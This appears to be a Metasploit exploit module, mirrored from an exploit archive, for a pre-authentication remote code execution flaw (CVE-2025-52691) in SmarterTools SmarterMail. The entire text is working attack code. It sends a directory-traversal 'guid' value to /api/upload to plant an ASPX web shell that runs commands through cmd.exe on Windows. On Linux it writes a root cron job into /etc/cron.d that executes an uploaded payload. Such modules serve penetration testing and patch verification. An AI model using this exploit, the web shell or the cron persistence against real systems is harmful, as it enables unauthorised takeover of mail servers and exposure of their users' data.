Share
## https://sploitus.com/exploit?id=PACKETSTORM:214294
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Remote::HTTP::Smartermail
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'SmarterTools SmarterMail GUID File Upload Vulnerability',
            'Description' => %q{
              This module exploits a pre-auth remote code execution vulnerability in SmarterTools SmarterMail before version 100.0.9413.
              The endpoint /api/upload fails to sanitize the contextData POST parameter which can contain JSON data with a
              "guid" key that allows directory traversal. By leveraging this vulnerability, an unauthenticated attacker can
              upload a malicious ASPX web shell to the server's web root directory, leading to remote code execution.
            },
            'Author' => [
              'Piotr Bazydlo', # PoC write up
              'Sina Kheirkhah', # PoC write up
              'jheysel-r7' # module
            ],
            'References' => [
              [ 'URL', 'https://labs.watchtowr.com/do-smart-people-ever-say-theyre-smart-smartertools-smartermail-pre-auth-rce-cve-2025-52691/'],
              [ 'CVE', '2025-52691']
            ],
            'License' => MSF_LICENSE,
            'Privileged' => false,
            'Targets' => [
              [
                'Unix Command',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'Type' => :nix,
                  'BadChars' => "'",
                  'DefaultOptions' => {
                    'WfsDelay' => 70
                  }
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'Type' => :win,
                  'BadChars' => '"'
                }
              ],
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-10-09',
            'Notes' => {
              'Stability' => [ CRASH_SAFE, ],
              'SideEffects' => [ ARTIFACTS_ON_DISK, ],
              'Reliability' => [ REPEATABLE_SESSION, ]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The path of a backdoor shell', '']),
            OptInt.new('DEPTH', [true, 'Traversal Depth', 15]),
            OptInt.new('WEB_ROOT_RPORT', [true, 'The port in which the webroot is served on. Note on Windows this is different from the modules\'s RPORT', 80], conditions: %w[TARGET == 1]),
            OptString.new('TARGET_DIR', [false, 'Directory to place the payload, on Windows this defaults to the WebRoot, on Linux/Unix it defaults to /tmp which gets called by a cron job', nil])
          ]
        )
      end
    
      def windows_payload_wrapper
        vars = Rex::RandomIdentifier::Generator.new
    
        <<~EOF
          <%@ Page Language="C#" Debug="true" Trace="false" %>
          <%@ Import Namespace="System.Diagnostics" %>
          <script Language="c#" runat="server">
          void Page_Load(object sender, EventArgs e)
          {
          ProcessStartInfo #{vars[:process_start_info]} = new ProcessStartInfo();
          #{vars[:process_start_info]}.FileName = "cmd.exe";
          #{vars[:process_start_info]}.Arguments =  "/c "+ @"#{payload.encoded}";
          #{vars[:process_start_info]}.RedirectStandardOutput = true;
          #{vars[:process_start_info]}.UseShellExecute = false;
          Process #{vars[:process]} = Process.Start(#{vars[:process_start_info]});
          }
          </script>
        EOF
      end
    
      def check
        check_version('100.0.9413')
      end
    
      def upload_payload(target_dir, filename, payload_contents)
        post_data = Rex::MIME::Message.new
        resumable_filename = Rex::Text.rand_text_alpha(4..8)
        resumable_filename += '.aspx' if target['Platform'] == 'win' # the resumableFilename is where the file extension is taken from
    
        post_data.add_part('attachment', nil, nil, 'form-data; name="context"')
        post_data.add_part(filename, nil, nil, 'form-data; name="resumableIdentifier"')
        post_data.add_part(resumable_filename, nil, nil, 'form-data; name="resumableFilename"')
        post_data.add_part("{\"guid\":\"dag/#{'../' * datastore['DEPTH']}#{target_dir}/#{filename}\"}", 'application/json', nil, 'form-data; name="contextData"')
        post_data.add_part(payload_contents, 'application/octet-stream', nil, "form-data; name=\"#{Faker::Name.first_name}\"; filename=\"#{Faker::File.file_name(dir: '').gsub('/', '')}\"")
    
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'api', 'upload'),
          'method' => 'POST',
          'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
          'data' => post_data.to_s
        )
    
        fail_with(Failure::UnexpectedReply, 'File upload failed') unless res && res.code == 200
        json_output = res.get_json_document
        fail_with(Failure::UnexpectedReply, 'Unable to parse filename, cannot continue') unless json_output.key?('key')
        json_output['key'] =~ %r{([^/]+)$}
        uploaded_filename = Regexp.last_match(1)
        print_good("The uploaded payload file is named: #{uploaded_filename}")
        uploaded_filename
      end
    
      def exploit
        payload_name = Rex::Text.rand_text_alpha(4..8)
        if target['Platform'] == 'win'
          target_dir = datastore['TARGET_DIR'].blank? ? '/inetpub/wwwroot' : datastore['TARGET_DIR']
          print_status("Uploading payload to #{target_dir}...")
          uploaded_filename = upload_payload(target_dir, payload_name, windows_payload_wrapper)
          register_file_for_cleanup("#{target_dir}/#{uploaded_filename}")
    
          datastore['RPORT'] = datastore['WEB_ROOT_RPORT']
          send_request_cgi(
            'uri' => normalize_uri(target_uri.path, uploaded_filename),
            'method' => 'GET'
          )
        else
          target_dir = datastore['TARGET_DIR'].blank? ? '/tmp' : datastore['TARGET_DIR']
          print_status("Uploading payload to #{target_dir}...")
          uploaded_filename = upload_payload(target_dir, payload_name, payload.encoded)
          register_file_for_cleanup("#{target_dir}/#{uploaded_filename}")
    
          payload_path = "#{target_dir}/#{uploaded_filename}"
          cron_command = "chmod +x #{payload_path} && #{payload_path}&"
          cron_contents = "* * * * * root /bin/bash -c '#{cron_command}'\n"
          cron_filename = Rex::Text.rand_text_alpha(8..12)
          cron_target_dir = '/etc/cron.d'
          print_status('Uploading cronjob to call payload...')
          uploaded_cron_filename = upload_payload(cron_target_dir, cron_filename, cron_contents)
          register_file_for_cleanup("#{cron_target_dir}/#{uploaded_cron_filename}")
        end
      end
    end